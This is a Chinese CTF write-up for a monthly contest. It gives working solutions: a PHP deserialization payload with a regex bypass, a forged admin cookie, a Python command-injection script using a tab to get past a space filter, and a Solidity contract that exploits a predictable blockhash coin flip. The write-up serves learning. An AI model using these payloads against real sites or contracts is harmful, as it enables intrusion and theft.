1. 程式人生 > >安恆X計劃12月月賽

安恆X計劃12月月賽

ezweb

主要是序列化問題。沒有PHP環境,線上執行的。例項化物件之後修改一下file。然後echo輸出序列化的結果。不過下面有一個正則檢查。數字前加一個+,影響了正則的匹配,但是對於序列化的還原沒有影響。直接寫+不生效,於是對+進行URL編碼,就繞過了。

<?php 
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  

$flag = new baby();
$flag->file = "index.php";
$flag = serialize($flag);

echo $flag;
echo unserialize($flag)
?>

拿到一個'O:4:"baby":1:{s:4:"file";s:9:"index.php";}'。在加入+號處理一下,直接不生效,需要URL編碼'O:%2b4:"baby":1:{s:4:"file";s:9:"index.php";}'。

然後不小心爆出來了程式碼執行網站的目錄。

ezweb2

瀏覽了一會,不知道網站哪有問題,最後看到cookie裡有一個user變數。此處必有蹊蹺。拉出來用base64解了一下,看到一個普通的使用者的字串。然後掃到一個admin.php,提示我不是管理員。兩者就對上了,改cookie重新重新整理user=YWRtaW4=%3D%3D。看到了後臺,輸入一個密碼試試吧。結果發現post出去的表單,輸入的內容在cmd

欄位下。然後判定這不是一個密碼,而是一個命令執行。然後用ls證實了想法。然後使用cat檢視檔案內容的時候出錯。當時有兩個想法,一個是空格還有一些字元被過濾了,另一個是回顯或者命令長度有限制。先按照第一個想法來,fuzz一下什麼被過濾了。測出來幾個可用的字元,基本上印證了被過濾的想法。使用0x9h替代空格,然後就可以順利執行命令。
最後的flag在根目錄下。

import requests

#fuzz時使用這個迴圈,註釋下一迴圈。
#for i in range(1,128):

for i in range(9,10):
    url = "http://101.71.29.5:10000/admin.php"
    
    payload = {'cmd':'cat' + chr(i) + '/ffLAG_404'}
    headers = {
        'origin': "http://101.71.29.5:10000",
        'upgrade-insecure-requests': "1",
        'content-type': "application/x-www-form-urlencoded",
        'user-agent': "Mozilla/7.0 (Windows NT 11; Win64; x64) AppleWebKit/539.36 (KHTML, like Gecko) Chrome/76.0.3538.67 Safari/539.36",
        'accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
        'referer': "http://101.71.29.5:10000/admin.php",
        'accept-encoding': "gzip, deflate",
        'accept-language': "zh-CN,zh;q=0.9",
        'cookie': "PHPSESSID=155tke89leol6648g64rrd2p20; user=YWRtaW4=%3D%3D",
        'cache-control': "no-cache"
        }
    
    response = requests.request("POST", url, data=payload, headers=headers)
    #print(i,chr(i))
    #print(len(response.text))
    print(response.text)

misc1

為做題還要涉及早期被公開的洩露資料,這是在教人學壞。拿python處理這些資料的時候換行沒處理對,所以跑字典的時候出了問題,沒成功解開。

安恆的運營挺有意思的,求生欲很強,為了給公眾號使用者保活,自己的比賽平臺不用,非要在公眾號上放hint。

misc2 簽到

關注一個公眾號,文字遊戲。

misc3

壓縮包破解。同級目錄下有一個壓縮包內含的檔案,明顯的明文攻擊。這種題就很煩。偏偏安恆很喜歡出。之前參加他們的比賽,給的一個壓縮包,只有7z沒毛病,其他都解不出來。這次這個需要winrar壓縮,如果你的明文攻擊大於10分鐘,那麼就停下來,重新制作壓縮包或者換不同的版本。很煩。因為壓縮本來就是有損的,所以究竟會不會出問題,真的不好判斷。最後解出來的文件有一個高考祕籍——53,要位移一下這個圖。

我覺得下次可以出一個這樣的腦洞,放一個3D的模型,移開沒有,在遮擋物的背面貼著或者穿模進去才能看到。

misc4

png圖片先改畫素看一下再去看有沒有隱寫。高度拉長一看就有字串,末尾大於兩個等號,應該是base32,解出來再拿括號裡的內容再做一個MD5雜湊。



區塊鏈

都說了是賭幣,協議也給了。有點坑的是,直接批量不產生效果,手動了20次才收到郵件。

pragma solidity ^0.4.23;

interface BetInterFace{
    function flip(bool _guess) public returns (bool success);
}

contract GetFlag{
    address betAddress = 0x2F99655A6dDfd3e13561Acf2c1c724385BB6A80E;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  
    constructor() public {
         
    }
    function start2() public {
        bool isTrue=getResult();
        bet2(isTrue);
    }
    function getResult() private view returns(bool){
        uint256 blockValue = uint256(block.blockhash(block.number-1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        return side;
        
    }
    function bet2(bool result) private{
        bytes4 methodId = bytes4(keccak256("flip(bool)"));
        if(result){
            betAddress.call(methodId,uint256(1));
        }else{
            betAddress.call(methodId,uint256(0));
        }
    }
}